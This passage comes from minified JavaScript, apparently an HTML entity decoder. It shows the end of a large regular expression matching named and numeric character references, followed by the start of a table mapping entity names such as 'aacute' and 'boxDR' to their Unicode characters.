rac15|Square|frac16|square|lesdot|frac18|frac23|propto|prurel|rarrap|rangle|puncsp|frac25|Racute|qprime|racute|lesges|frac34|abreve|AElig|eqsim|utdot|setmn|urtri|Equal|Uring|seArr|uring|searr|dashv|Dashv|mumap|nabla|iogon|Iogon|sdote|sdotb|scsim|napid|napos|equiv|natur|Acirc|dblac|erarr|nbump|iprod|erDot|ucirc|awint|esdot|angrt|ncong|isinE|scnap|Scirc|scirc|ndash|isins|Ubrcy|nearr|neArr|isinv|nedot|ubrcy|acute|Ycirc|iukcy|Iukcy|xutri|nesim|caret|jcirc|Jcirc|caron|twixt|ddarr|sccue|exist|jmath|sbquo|ngeqq|angst|ccaps|lceil|ngsim|UpTee|delta|Delta|rtrif|nharr|nhArr|nhpar|rtrie|jukcy|Jukcy|kappa|rsquo|Kappa|nlarr|nlArr|TSHcy|rrarr|aogon|Aogon|fflig|xrarr|tshcy|ccirc|nleqq|filig|upsih|nless|dharl|nlsim|fjlig|ropar|nltri|dharr|robrk|roarr|fllig|fltns|roang|rnmid|subnE|subne|lAarr|trisb|Ccirc|acirc|ccups|blank|VDash|forkv|Vdash|langd|cedil|blk12|blk14|laquo|strns|diams|notin|vDash|larrb|blk34|block|disin|uplus|vdash|vBarv|aelig|starf|Wedge|check|xrArr|lates|lbarr|lBarr|notni|lbbrk|bcong|frasl|lbrke|frown|vrtri|vprop|vnsup|gamma|Gamma|wedge|xodot|bdquo|srarr|doteq|ldquo|boxdl|boxdL|gcirc|Gcirc|boxDl|boxDL|boxdr|boxdR|boxDr|TRADE|trade|rlhar|boxDR|vnsub|npart|vltri|rlarr|boxhd|boxhD|nprec|gescc|nrarr|nrArr|boxHd|boxHD|boxhu|boxhU|nrtri|boxHu|clubs|boxHU|times|colon|Colon|gimel|xlArr|Tilde|nsime|tilde|nsmid|nspar|THORN|thorn|xlarr|nsube|nsubE|thkap|xhArr|comma|nsucc|boxul|boxuL|nsupe|nsupE|gneqq|gnsim|boxUl|boxUL|grave|boxur|boxuR|boxUr|boxUR|lescc|angle|bepsi|boxvh|varpi|boxvH|numsp|Theta|gsime|gsiml|theta|boxVh|boxVH|boxvl|gtcir|gtdot|boxvL|boxVl|boxVL|crarr|cross|Cross|nvsim|boxvr|nwarr|nwArr|sqsup|dtdot|Uogon|lhard|lharu|dtrif|ocirc|Ocirc|lhblk|duarr|odash|sqsub|Hacek|sqcup|llarr|duhar|oelig|OElig|ofcir|boxvR|uogon|lltri|boxVr|csube|uuarr|ohbar|csupe|ctdot|olarr|olcir|harrw|oline|sqcap|omacr|Omacr|omega|Omega|boxVR|aleph|lneqq|lnsim|loang|loarr|rharu|lobrk|hcirc|operp|oplus|rhard|Hcirc|orarr|Union|order|ecirc|Ecirc|cuepr|szlig|cuesc|breve|reals|eDDot|Breve|hoarr|lopar|utrif|rdquo|Umacr|umacr|efDot|swArr|ultri|alpha|rceil|ovbar|swarr|Wcirc|wcirc|smtes|smile|bsemi|lrarr|aring|parsl|lrhar|bsime|uhblk|lrtri|cupor|Aring|uharr|uharl|slarr|rbrke|bsolb|lsime|rbbrk|RBarr|lsimg|phone|rBarr|rbarr|icirc|lsquo|Icirc|emacr|Emacr|ratio|simne|plusb|simlE|simgE|simeq|pluse|ltcir|ltdot|empty|xharr|xdtri|iexcl|Alpha|ltrie|rarrw|pound|ltrif|xcirc|bumpe|prcue|bumpE|asymp|amacr|cuvee|Sigma|sigma|iiint|udhar|iiota|ijlig|IJlig|supnE|imacr|Imacr|prime|Prime|image|prnap|eogon|Eogon|rarrc|mdash|mDDot|cuwed|imath|supne|imped|Amacr|udarr|prsim|micro|rarrb|cwint|raquo|infin|eplus|range|rangd|Ucirc|radic|minus|amalg|veeeq|rAarr|epsiv|ycirc|quest|sharp|quot|zwnj|Qscr|race|qscr|Qopf|qopf|qint|rang|Rang|Zscr|zscr|Zopf|zopf|rarr|rArr|Rarr|Pscr|pscr|prop|prod|prnE|prec|ZHcy|zhcy|prap|Zeta|zeta|Popf|popf|Zdot|plus|zdot|Yuml|yuml|phiv|YUcy|yucy|Yscr|yscr|perp|Yopf|yopf|part|para|YIcy|Ouml|rcub|yicy|YAcy|rdca|ouml|osol|Oscr|rdsh|yacy|real|oscr|xvee|andd|rect|andv|Xscr|oror|ordm|ordf|xscr|ange|aopf|Aopf|rHar|Xopf|opar|Oopf|xopf|xnis|rhov|oopf|omid|xmap|oint|apid|apos|ogon|ascr|Ascr|odot|odiv|xcup|xcap|ocir|oast|nvlt|nvle|nvgt|nvge|nvap|Wscr|wscr|auml|ntlg|ntgl|nsup|nsub|nsim|Nscr|nscr|nsce|Wopf|ring|npre|wopf|npar|Auml|Barv|bbrk|Nopf|nopf|nmid|nLtv|beta|ropf|Ropf|Beta|beth|nles|rpar|nleq|bnot|bNot|nldr|NJcy|rscr|Rscr|Vscr|vscr|rsqb|njcy|bopf|nisd|Bopf|rtri|Vopf|nGtv|ngtr|vopf|boxh|boxH|boxv|nges|ngeq|boxV|bscr|scap|Bscr|bsim|Vert|vert|bsol|bull|bump|caps|cdot|ncup|scnE|ncap|nbsp|napE|Cdot|cent|sdot|Vbar|nang|vBar|chcy|Mscr|mscr|sect|semi|CHcy|Mopf|mopf|sext|circ|cire|mldr|mlcp|cirE|comp|shcy|SHcy|vArr|varr|cong|copf|Copf|copy|COPY|malt|male|macr|lvnE|cscr|ltri|sime|ltcc|simg|Cscr|siml|csub|Uuml|lsqb|lsim|uuml|csup|Lscr|lscr|utri|smid|lpar|cups|smte|lozf|darr|Lopf|Uscr|solb|lopf|sopf|Sopf|lneq|uscr|spar|dArr|lnap|Darr|dash|Sqrt|LJcy|ljcy|lHar|dHar|Upsi|upsi|diam|lesg|djcy|DJcy|leqq|dopf|Dopf|dscr|Dscr|dscy|ldsh|ldca|squf|DScy|sscr|Sscr|dsol|lcub|late|star|Star|Uopf|Larr|lArr|larr|uopf|dtri|dzcy|sube|subE|Lang|lang|Kscr|kscr|Kopf|kopf|KJcy|kjcy|KHcy|khcy|DZcy|ecir|edot|eDot|Jscr|jscr|succ|Jopf|jopf|Edot|uHar|emsp|ensp|Iuml|iuml|eopf|isin|Iscr|iscr|Eopf|epar|sung|epsi|escr|sup1|sup2|sup3|Iota|iota|supe|supE|Iopf|iopf|IOcy|iocy|Escr|esim|Esim|imof|Uarr|QUOT|uArr|uarr|euml|IEcy|iecy|Idot|Euml|euro|excl|Hscr|hscr|Hopf|hopf|TScy|tscy|Tscr|hbar|tscr|flat|tbrk|fnof|hArr|harr|half|fopf|Fopf|tdot|gvnE|fork|trie|gtcc|fscr|Fscr|gdot|gsim|Gscr|gscr|Gopf|gopf|gneq|Gdot|tosa|gnap|Topf|topf|geqq|toea|GJcy|gjcy|tint|gesl|mid|Sfr|ggg|top|ges|gla|glE|glj|geq|gne|gEl|gel|gnE|Gcy|gcy|gap|Tfr|tfr|Tcy|tcy|Hat|Tau|Ffr|tau|Tab|hfr|Hfr|ffr|Fcy|fcy|icy|Icy|iff|ETH|eth|ifr|Ifr|Eta|eta|int|Int|Sup|sup|ucy|Ucy|Sum|sum|jcy|ENG|ufr|Ufr|eng|Jcy|jfr|els|ell|egs|Efr|efr|Jfr|uml|kcy|Kcy|Ecy|ecy|kfr|Kfr|lap|Sub|sub|lat|lcy|Lcy|leg|Dot|dot|lEg|leq|les|squ|div|die|lfr|Lfr|lgE|Dfr|dfr|Del|deg|Dcy|dcy|lne|lnE|sol|loz|smt|Cup|lrm|cup|lsh|Lsh|sim|shy|map|Map|mcy|Mcy|mfr|Mfr|mho|gfr|Gfr|sfr|cir|Chi|chi|nap|Cfr|vcy|Vcy|cfr|Scy|scy|ncy|Ncy|vee|Vee|Cap|cap|nfr|scE|sce|Nfr|nge|ngE|nGg|vfr|Vfr|ngt|bot|nGt|nis|niv|Rsh|rsh|nle|nlE|bne|Bfr|bfr|nLl|nlt|nLt|Bcy|bcy|not|Not|rlm|wfr|Wfr|npr|nsc|num|ocy|ast|Ocy|ofr|xfr|Xfr|Ofr|ogt|ohm|apE|olt|Rho|ape|rho|Rfr|rfr|ord|REG|ang|reg|orv|And|and|AMP|Rcy|amp|Afr|ycy|Ycy|yen|yfr|Yfr|rcy|par|pcy|Pcy|pfr|Pfr|phi|Phi|afr|Acy|acy|zcy|Zcy|piv|acE|acd|zfr|Zfr|pre|prE|psi|Psi|qfr|Qfr|zwj|Or|ge|Gg|gt|gg|el|oS|lt|Lt|LT|Re|lg|gl|eg|ne|Im|it|le|DD|wp|wr|nu|Nu|dd|lE|Sc|sc|pi|Pi|ee|af|ll|Ll|rx|gE|xi|pm|Xi|ic|pr|Pr|in|ni|mp|mu|ac|Mu|or|ap|Gt|GT|ii);|&amp;(Aacute|Agrave|Atilde|Ccedil|Eacute|Egrave|Iacute|Igrave|Ntilde|Oacute|Ograve|Oslash|Otilde|Uacute|Ugrave|Yacute|aacute|agrave|atilde|brvbar|ccedil|curren|divide|eacute|egrave|frac12|frac14|frac34|iacute|igrave|iquest|middot|ntilde|oacute|ograve|oslash|otilde|plusmn|uacute|ugrave|yacute|AElig|Acirc|Aring|Ecirc|Icirc|Ocirc|THORN|Ucirc|acirc|acute|aelig|aring|cedil|ecirc|icirc|iexcl|laquo|micro|ocirc|pound|raquo|szlig|thorn|times|ucirc|Auml|COPY|Euml|Iuml|Ouml|QUOT|Uuml|auml|cent|copy|euml|iuml|macr|nbsp|ordf|ordm|ouml|para|quot|sect|sup1|sup2|sup3|uuml|yuml|AMP|ETH|REG|amp|deg|eth|not|reg|shy|uml|yen|GT|LT|gt|lt)(?!;)([=a-zA-Z0-9]?)|&amp;#([0-9]+)(;?)|&amp;#[xX]([a-fA-F0-9]+)(;?)|&amp;([0-9a-zA-Z]+)/g,b={aacute:&quot;á&quot;,Aacute:&quot;Á&quot;,abreve:&quot;ă&quot;,Abreve:&quot;Ă&quot;,ac:&quot;∾&quot;,acd:&quot;∿&quot;,acE:&quot;∾̳&quot;,acirc:&quot;â&quot;,Acirc:&quot;Â&quot;,acute:&quot;´&quot;,acy:&quot;а&quot;,Acy:&quot;А&quot;,aelig:&quot;æ&quot;,AElig:&quot;Æ&quot;,af:&quot;⁡&quot;,afr:&quot;𝔞&quot;,Afr:&quot;𝔄&quot;,agrave:&quot;à&quot;,Agrave:&quot;À&quot;,alefsym:&quot;ℵ&quot;,aleph:&quot;ℵ&quot;,alpha:&quot;α&quot;,Alpha:&quot;Α&quot;,amacr:&quot;ā&quot;,Amacr:&quot;Ā&quot;,amalg:&quot;⨿&quot;,amp:&quot;&amp;&quot;,AMP:&quot;&amp;&quot;,and:&quot;∧&quot;,And:&quot;⩓&quot;,andand:&quot;⩕&quot;,andd:&quot;⩜&quot;,andslope:&quot;⩘&quot;,andv:&quot;⩚&quot;,ang:&quot;∠&quot;,ange:&quot;⦤&quot;,angle:&quot;∠&quot;,angmsd:&quot;∡&quot;,angmsdaa:&quot;⦨&quot;,angmsdab:&quot;⦩&quot;,angmsdac:&quot;⦪&quot;,angmsdad:&quot;⦫&quot;,angmsdae:&quot;⦬&quot;,angmsdaf:&quot;⦭&quot;,angmsdag:&quot;⦮&quot;,angmsdah:&quot;⦯&quot;,angrt:&quot;∟&quot;,angrtvb:&quot;⊾&quot;,angrtvbd:&quot;⦝&quot;,angsph:&quot;∢&quot;,angst:&quot;Å&quot;,angzarr:&quot;⍼&quot;,aogon:&quot;ą&quot;,Aogon:&quot;Ą&quot;,aopf:&quot;𝕒&quot;,Aopf:&quot;𝔸&quot;,ap:&quot;≈&quot;,apacir:&quot;⩯&quot;,ape:&quot;≊&quot;,apE:&quot;⩰&quot;,apid:&quot;≋&quot;,apos:&quot;&#039;&quot;,ApplyFunction:&quot;⁡&quot;,approx:&quot;≈&quot;,approxeq:&quot;≊&quot;,aring:&quot;å&quot;,Aring:&quot;Å&quot;,ascr:&quot;𝒶&quot;,Ascr:&quot;𝒜&quot;,Assign:&quot;≔&quot;,ast:&quot;*&quot;,asymp:&quot;≈&quot;,asympeq:&quot;≍&quot;,atilde:&quot;ã&quot;,Atilde:&quot;Ã&quot;,auml:&quot;ä&quot;,Auml:&quot;Ä&quot;,awconint:&quot;∳&quot;,awint:&quot;⨑&quot;,backcong:&quot;≌&quot;,backepsilon:&quot;϶&quot;,backprime:&quot;‵&quot;,backsim:&quot;∽&quot;,backsimeq:&quot;⋍&quot;,Backslash:&quot;∖&quot;,Barv:&quot;⫧&quot;,barvee:&quot;⊽&quot;,barwed:&quot;⌅&quot;,Barwed:&quot;⌆&quot;,barwedge:&quot;⌅&quot;,bbrk:&quot;⎵&quot;,bbrktbrk:&quot;⎶&quot;,bcong:&quot;≌&quot;,bcy:&quot;б&quot;,Bcy:&quot;Б&quot;,bdquo:&quot;„&quot;,becaus:&quot;∵&quot;,because:&quot;∵&quot;,Because:&quot;∵&quot;,bemptyv:&quot;⦰&quot;,bepsi:&quot;϶&quot;,bernou:&quot;ℬ&quot;,Bernoullis:&quot;ℬ&quot;,beta:&quot;β&quot;,Beta:&quot;Β&quot;,beth:&quot;ℶ&quot;,between:&quot;≬&quot;,bfr:&quot;𝔟&quot;,Bfr:&quot;𝔅&quot;,bigcap:&quot;⋂&quot;,bigcirc:&quot;◯&quot;,bigcup:&quot;⋃&quot;,bigodot:&quot;⨀&quot;,bigoplus:&quot;⨁&quot;,bigotimes:&quot;⨂&quot;,bigsqcup:&quot;⨆&quot;,bigstar:&quot;★&quot;,bigtriangledown:&quot;▽&quot;,bigtriangleup:&quot;△&quot;,biguplus:&quot;⨄&quot;,bigvee:&quot;⋁&quot;,bigwedge:&quot;⋀&quot;,bkarow:&quot;⤍&quot;,blacklozenge:&quot;⧫&quot;,blacksquare:&quot;▪&quot;,blacktriangle:&quot;▴&quot;,blacktriangledown:&quot;▾&quot;,blacktriangleleft:&quot;◂&quot;,blacktriangleright:&quot;▸&quot;,blank:&quot;␣&quot;,blk12:&quot;▒&quot;,blk14:&quot;░&quot;,blk34:&quot;▓&quot;,block:&quot;█&quot;,bne:&quot;=⃥&quot;,bnequiv:&quot;≡⃥&quot;,bnot:&quot;⌐&quot;,bNot:&quot;⫭&quot;,bopf:&quot;𝕓&quot;,Bopf:&quot;𝔹&quot;,bot:&quot;⊥&quot;,bottom:&quot;⊥&quot;,bowtie:&quot;⋈&quot;,boxbox:&quot;⧉&quot;,boxdl:&quot;┐&quot;,boxdL:&quot;╕&quot;,boxDl:&quot;╖&quot;,boxDL:&quot;╗&quot;,boxdr:&quot;┌&quot;,boxdR:&quot;╒&quot;,boxDr:&quot;╓&quot;,boxDR:&quot;╔&quot;,boxh:&quot;─&quot;,boxH:&quot;═&quot;,boxhd:&quot;┬&quot;,boxhD:&quot;╥&quot;,boxHd:&quot;╤&quot;,boxHD:&quot;╦&quot;,boxhu:&quot;┴&quot;,boxhU:&quot;╨&quot;,boxHu:&quot;╧&quot;,boxHU:&quot;╩&quot;,boxminus:&quot;⊟&quot;,boxplus:&quot;⊞&quot;,boxtimes:&quot;⊠&quot;,boxul:&quot;┘&quot;,boxuL:&quot;╛&quot;,boxUl:&quot;╜&quot;,boxUL:&quot;╝&quot;,boxur:&quot;└&quot;,boxuR:&quot;╘&quot;,boxUr:&quot;╙&quot;,boxUR:&quot;╚&quot;,boxv:&quot;│&quot;,boxV:&quot;║&quot;,boxvh:&quot;┼&quot;,boxvH:&quot;╪&quot;,boxVh:&quot;╫&quot;,boxVH:&quot;╬&quot;,boxvl:&quot;┤&quot;,boxvL:&quot;╡&quot;,boxVl:&quot;╢&quot;,boxVL:&quot;╣&quot;,boxvr:&quot;├&quot;,boxvR:&quot;╞&quot;,boxVr:&quot;╟&quot;,boxVR:&quot;╠&quot;,bprime:&quot;‵&quot;,breve:&quot;˘&quot;,Breve:&quot;˘&quot;,brvbar:&quot;¦&quot;,bscr:&quot;𝒷&quot;,Bscr:&quot;ℬ&quot;,bsemi:&quot;⁏&quot;,bsim:&quot;∽&quot;,bsime:&quot;⋍&quot;,bsol:&quot;\\&quot;,bsolb:&quot;⧅&quot;,bsolhsub:&quot;⟈&quot;,bull:&quot;•&quot;,bullet:&quot;•&quot;,bump:&quot;≎&quot;,bumpe:&quot;≏&quot;,bumpE:&quot;⪮&quot;,bumpeq:&quot;≏&quot;,Bumpeq:&quot;≎&quot;,cacute:&quot;ć&quot;,Cacute:&quot;Ć&quot;,cap:&quot;∩&quot;,Cap:&quot;⋒&quot;,capand:&quot;⩄&quot;,capbrcup:&quot;⩉&quot;,capcap:&quot;⩋&quot;,capcup:&quot;⩇&quot;,capdot:&quot;⩀&quot;,CapitalDifferentialD:&quot;ⅅ&quot;,caps:&quot;∩︀&quot;,caret:&quot;⁁&quot;,caron:&quot;ˇ&quot;,Cayleys:&quot;ℭ&quot;,ccaps:&quot;⩍&quot;,ccaron:&quot;č&quot;,Ccaron:&quot;Č&quot;,ccedil:&quot;ç&quot;,Ccedil:&quot;Ç&quot;,ccirc:&quot;ĉ&quot;,Ccirc:&quot;Ĉ&quot;,Cconint:&quot;∰&quot;,ccups:&quot;⩌&quot;,ccupssm:&quot;⩐&quot;,cdot:&quot;ċ&quot;,Cdot:&quot;Ċ&quot;,cedil:&quot;¸&quot;,Cedilla:&quot;¸&quot;,cemptyv:&quot;⦲&quot;,cent:&quot;¢&quot;,centerdot:&quot;·&quot;,CenterDot:&quot;·&quot;,cfr:&quot;𝔠&quot;,Cfr:&quot;ℭ&quot;,chcy:&quot;ч&quot;,CHcy:&quot;Ч&quot;,check:&quot;✓&quot;,checkmark:&quot;✓&quot;,chi:&quot;χ&quot;,Chi:&quot;Χ&quot;,cir:&quot;○&quot;,circ:&quot;ˆ&quot;,circeq:&quot;≗&quot;,circlearrowleft:&quot;↺&quot;,circlearrowright:&quot;↻&quot;,circledast:&quot;⊛&quot;,circledcirc:&quot;⊚&quot;,circleddash:&quot;⊝&quot;,CircleDot:&quot;⊙&quot;,circledR:&quot;®&quot;,circledS:&quot;Ⓢ&quot;,CircleMinus:&quot;⊖&quot;,CirclePlus:&quot;⊕&quot;,CircleTimes:&quot;⊗&quot;,cire:&quot;≗&quot;,cirE:&quot;⧃&quot;,cirfnint:&quot;⨐&quot;,cirmid:&quot;⫯&quot;,cirscir:&quot;⧂&quot;,ClockwiseContourIntegral:&quot;∲&quot;,CloseCurlyDoubleQuote:&quot;”&quot;,CloseCurlyQuote:&quot;’&quot;,clubs:&quot;♣&quot;,clubsuit:&quot;♣&quot;,colon:&quot;:&quot;,Colon:&quot;∷&quot;,colone:&quot;≔&quot;,Colone:&quot;⩴&quot;,coloneq:&quot;≔&quot;,comma:&quot;,&quot;,commat:&quot;@&quot;,comp:&quot;∁&quot;,compfn:&quot;∘&quot;,complement:&quot;∁&quot;,complexes:&quot;ℂ&quot;,cong:&quot;≅&quot;,congdot:&quot;⩭&quot;,Congruent:&quot;≡&quot;,conint:&quot;∮&quot;,Conint:&quot;∯&quot;,ContourIntegral:&quot;∮&quot;,copf:&quot;𝕔&quot;,Copf:&quot;ℂ&quot;,coprod:&quot;∐&quot;,Coproduct:&quot;∐&quot;,copy:&quot;©&quot;,COPY:&quot;©&quot;,copysr:&quot;℗&quot;,CounterClockwiseContourIntegral:&quot;∳&quot;,crarr:&quot;↵&quot;,cross:&quot;✗&quot;,Cross:&quot;⨯&quot;,cscr:&quot;𝒸&quot;,Cscr:&quot;𝒞&quot;,csub:&quot;⫏&quot;,csube:&quot;⫑&quot;,csup:&quot;⫐&quot;,csupe:&quot;⫒&quot;,ctdot:&quot;⋯&quot;,cudarrl:&quot;⤸&quot;,cudarrr:&quot;⤵&quot;,cuepr:&quot;⋞&quot;,cuesc:&quot;⋟&quot;,cularr:&quot;↶&quot;,cularrp:&quot;⤽&quot;,cup:&quot;∪&quot;,Cup:&quot;⋓&quot;,cupbrcap:&quot;⩈&quot;,cupcap:&quot;⩆&quot;,CupCap:&quot;≍&quot;,cupcup:&quot;⩊&quot;,cupdot:&quot;⊍&quot;,cupor:&quot;⩅&quot;,cups:&quot;∪︀&quot;,curarr:&quot;↷&quot;,curarrm:&quot;⤼&quot;,curlyeqprec:&quot;⋞&quot;,curlyeqsucc:&quot;⋟&quot;,curlyvee:&quot;⋎&quot;,curlywedge:&quot;⋏&quot;,curren:&quot;¤&quot;,curvearrowleft:&quot;↶&quot;,curvearrowright:&quot;↷&quot;,cuvee:&quot;⋎&quot;,cuwed:&quot;⋏&quot;,cwconint:&quot;∲&quot;,cwint:&quot;∱&quot;,cylcty:&quot;⌭&quot;,dagger:&quot;†&quot;,Dagger:&quot;‡&quot;,daleth:&quot;ℸ&quot;,darr:&quot;↓&quot;,dArr:&quot;⇓&quot;,Darr:&quot;↡&quot;,dash:&quot;‐&quot;,dashv:&quot;⊣&quot;,Dashv:&quot;⫤&quot;,dbkarow:&quot;⤏&quot;,dblac:&quot;˝&quot;,dcaron:&quot;ď&quot;,Dcaron:&quot;Ď&quot;,dcy:&quot;д&quot;,Dcy:&quot;Д&quot;,dd:&quot;ⅆ&quot;,DD:&quot;ⅅ&quot;,ddagger:&quot;‡&quot;,ddarr:&quot;⇊&quot;,DDotrahd:&quot;⤑&quot;,ddotseq:&quot;⩷&quot;,deg:&quot;°&quot;,Del:&quot;∇&quot;,delta:&quot;δ&quot;,Delta:&quot;Δ&quot;,demptyv:&quot;⦱&quot;,dfisht:&quot;⥿&quot;,dfr:&quot;𝔡&quot;,Dfr:&quot;𝔇&quot;,dHar:&quot;⥥&quot;,dharl:&quot;⇃&quot;,dharr:&quot;⇂&quot;,DiacriticalAcute:&quot;´&quot;,DiacriticalDot:&quot;˙&quot;,DiacriticalDoubleAcute:&quot;˝&quot;,DiacriticalGrave:&quot;`&quot;,DiacriticalTilde:&quot;˜&quot;,diam:&quot;⋄&quot;,diamond:&quot;⋄&quot;,Diamond:&quot;⋄&quot;,diamondsuit:&quot;♦&quot;,diams:&quot;♦&quot;,die:&quot;¨&quot;,DifferentialD:&quot;ⅆ&quot;,digamma:&quot;ϝ&quot;,disin:&quot;⋲&quot;,div:&quot;÷&quot;,divide:&quot;÷&quot;,divideontimes:&quot;⋇&quot;,divonx:&quot;⋇&quot;,djcy:&quot;ђ&quot;,DJcy:&quot;Ђ&quot;,dlcorn:&quot;⌞&quot;,dlcrop:&quot;⌍&quot;,dollar:&quot;$&quot;,dopf:&quot;𝕕&quot;,Dopf:&quot;𝔻&quot;,dot:&quot;˙&quot;,Dot:&quot;¨&quot;,DotDot:&quot;⃜&quot;,doteq:&quot;≐&quot;,doteqdot:&quot;≑&quot;,DotEqual:&quot;≐&quot;,dotminus:&quot;∸&quot;,dotplus:&quot;∔&quot;,dotsquare:&quot;⊡&quot;,doublebarwedge:&quot;⌆&quot;,DoubleContourIntegral:&quot;∯&quot;,DoubleDot:&quot;¨&quot;,DoubleDownArrow:&quot;⇓&quot;,DoubleLeftArrow:&quot;⇐&quot;,DoubleLeftRightArrow:&quot;⇔&quot;,DoubleLeftTee:&quot;⫤&quot;,DoubleLongLeftArrow:&quot;⟸&quot;,DoubleLongLeftRightArrow:&quot;⟺&quot;,DoubleLongRightArrow:&quot;⟹&quot;,DoubleRightArrow:&quot;⇒&quot;,DoubleRightTee:&quot;⊨&quot;,DoubleUpArrow:&quot;⇑&quot;,DoubleUpDownArrow:&quot;⇕&quot;,DoubleVerticalBar:&quot;∥&quot;,downarrow:&quot;↓&quot;,Downarrow:&quot;⇓&quot;,DownArrow:&quot;↓&quot;,DownArrowBar:&quot;⤓&quot;,DownArrowUpArrow:&quot;⇵&quot;,DownBreve:&quot;̑&quot;,downdownarrows:&quot;⇊&quot;,downharpoonleft:&quot;⇃&quot;,downharpoonright:&quot;⇂&quot;,DownLeftRightVector:&quot;⥐&quot;,DownLeftTeeVector:&quot;⥞&quot;,DownLeftVector:&quot;↽&quot;,DownLeftVectorBar:&quot;⥖&quot;,DownRightTeeVector:&quot;⥟&quot;,DownRightVector:&quot;⇁&quot;,DownRightVectorBar:&quot;⥗&quot;,DownTee:&quot;⊤&quot;,DownTeeArrow:&quot;↧&quot;,drbkarow:&quot;⤐&quot;,drcorn:&quot;⌟&quot;,drcrop:&quot;⌌&quot;,dscr:&quot;𝒹&quot;,Dscr:&quot;𝒟&quot;,dscy:&quot;ѕ&quot;,DScy:&quot;Ѕ&quot;,dsol:&quot;⧶&quot;,dstrok:&quot;đ&quot;,Dstrok:&quot;Đ&quot;,dtdot:&quot;⋱&quot;,dtri:&quot;▿&quot;,dtrif:&quot;▾&quot;,duarr:&quot;⇵&quot;,duhar:&quot;⥯&quot;,dwangle:&quot;⦦&quot;,dzcy:&quot;џ&quot;,DZcy:&quot;Џ&quot;,dzigrarr:&quot;⟿&quot;,eacute:&quot;é&quot;,Eacute:&quot;É&quot;,easter:&quot;⩮&quot;,ecaron:&quot;ě&quot;,Ecaron:&quot;Ě&quot;,ecir:&quot;≖&quot;,ecirc:&quot;ê&quot;,Ecirc:&quot;Ê&quot;,ecolon:&quot;≕&quot;,ecy:&quot;э&quot;,Ecy:&quot;Э&quot;,eDDot:&quot;⩷&quot;,edot:&quot;ė&quot;,eDot:&quot;≑&quot;,Edot:&quot;Ė&quot;,ee:&quot;ⅇ&quot;,efDot:&quot;≒&quot;,efr:&quot;𝔢&quot;,Efr:&quot;𝔈&quot;,eg:&quot;⪚&quot;,egrave:&quot;è&quot;,Egrave:&quot;È&quot;,egs:&quot;⪖&quot;,egsdot:&quot;⪘&quot;,el:&quot;⪙&quot;,Element:&quot;∈&quot;,elinters:&quot;⏧&quot;,ell:&quot;ℓ&quot;,els:&quot;⪕&quot;,elsdot:&quot;⪗&quot;,emacr:&quot;ē&quot;,Emacr:&quot;Ē&quot;,empty:&quot;∅&quot;,emptyset:&quot;∅&quot;,EmptySmallSquare:&quot;◻&quot;,emptyv:&quot;∅&quot;,EmptyVerySmallSquare:&quot;▫&quot;,emsp:&quot; &quot;,emsp13:&quot; &quot;,emsp14:&quot; &quot;,eng:&quot;ŋ&quot;,ENG:&quot;Ŋ&quot;,ensp:&quot; &quot;,eogon:&quot;ę&quot;,Eogon:&quot;Ę&quot;,eopf:&quot;𝕖&quot;,Eopf:&quot;𝔼&quot;,epar:&quot;⋕&quot;,eparsl:&quot;⧣&quot;,eplus:&quot;⩱&quot;,epsi:&quot;ε&quot;,epsilon:&quot;ε&quot;,Epsilon:&quot;Ε&quot;,epsiv:&quot;ϵ&quot;,eqcirc:&quot;≖&quot;,eqcolon:&quot;≕&quot;,eqsim:&quot;≂&quot;,eqslantgtr:&quot;⪖&quot;,eqslantless:&quot;⪕&quot;,Equal:&quot;⩵&quot;,equals:&quot;=&quot;,EqualTilde:&quot;≂&quot;,equest:&quot;≟&quot;,Equilibrium:&quot;⇌&quot;,equiv:&quot;≡&quot;,equivDD:&quot;⩸&quot;,eqvparsl:&quot;⧥&quot;,erarr:&quot;⥱&quot;,erDot:&quot;≓&quot;,escr:&quot;ℯ&quot;,Escr:&quot;ℰ&quot;,esdot:&quot;≐&quot;,esim:&quot;≂&quot;,Esim:&quot;⩳&quot;,eta:&quot;η&quot;,Eta:&quot;Η&quot;,eth:&quot;ð&quot;,ETH:&quot;Ð&quot;,euml:&quot;ë&quot;,Euml:&quot;Ë&quot;,euro:&quot;€&quot;,excl:&quot;!&quot;,exist:&quot;∃&quot;,Exists:&quot;∃&quot;,expectation:&quot;ℰ&quot;,exponentiale:&quot;ⅇ&quot;,ExponentialE:&quot;ⅇ&quot;,fallingdotseq:&quot;≒&quot;,fcy:&quot;ф&quot;,Fcy:&quot;Ф&quot;,female:&quot;♀&quot;,ffilig:&quot;ﬃ&quot;,fflig:&quot;ﬀ&quot;,ffllig:&quot;ﬄ&quot;,ffr:&quot;𝔣&quot;,Ffr:&quot;𝔉&quot;,filig:&quot;ﬁ&quot;,FilledSmallSquare:&quot;◼&quot;,FilledVerySmallSquare:&quot;▪&quot;,fjlig:&quot;fj&quot;,flat:&quot;♭&quot;,fllig:&quot;ﬂ&quot;,fltns:&quot;▱&quot;,fnof:&quot;ƒ&quot;,fopf:&quot;𝕗&quot;,Fopf:&quot;𝔽&quot;,forall:&quot;∀&quot;,ForAll:&quot;∀&quot;,fork:&quot;⋔&quot;,forkv:&quot;⫙&quot;,Fouriertrf:&quot;ℱ&quot;,fpartint:&quot;⨍&quot;,frac12:&quot;½&quot;,frac13:&quot;⅓&quot;,frac14:&quot;¼&quot;,frac15:&quot;⅕&quot;,frac16:&quot;⅙&quot;,frac18:&quot;⅛&quot;,frac23:&quot;⅔&quot;,frac25:&quot;⅖&quot;,frac34:&quot;¾&quot;,frac35:&quot;⅗&quot;,frac38:&quot;⅜&quot;,frac45:&quot;⅘&quot;,frac56:&quot;⅚&quot;,frac58:&quot;⅝&quot;,frac78:&quot;⅞&quot;,frasl:&quot;⁄&quot;,frown:&quot;⌢&quot;,fscr:&quot;𝒻&quot;,Fscr:&quot;ℱ&quot;,gacute:&quot;ǵ&quot;,gamma:&quot;γ&quot;,Gamma:&quot;Γ&quot;,gammad:&quot;ϝ&quot;,Gammad:&quot;Ϝ&quot;,gap:&quot;⪆&quot;,gbreve:&quot;ğ&quot;,Gbreve:&quot;Ğ&quot;,Gcedil:&quot;Ģ&quot;,gcirc:&quot;ĝ&quot;,Gcirc:&quot;Ĝ&quot;,gcy:&quot;г&quot;,Gcy:&quot;Г&quot;,gdot:&quot;ġ&quot;,Gdot:&quot;Ġ&quot;,ge:&quot;≥&quot;,gE:&quot;≧&quot;,gel:&quot;⋛&quot;,gEl:&quot;⪌&quot;,geq:&quot;≥&quot;,geqq:&quot;≧&quot;,geqslant:&quot;⩾&quot;,ges:&quot;⩾&quot;,gescc:&quot;⪩&quot;,gesdot:&quot;⪀&quot;,gesdoto:&quot;⪂&quot;,gesdotol:&quot;⪄&qu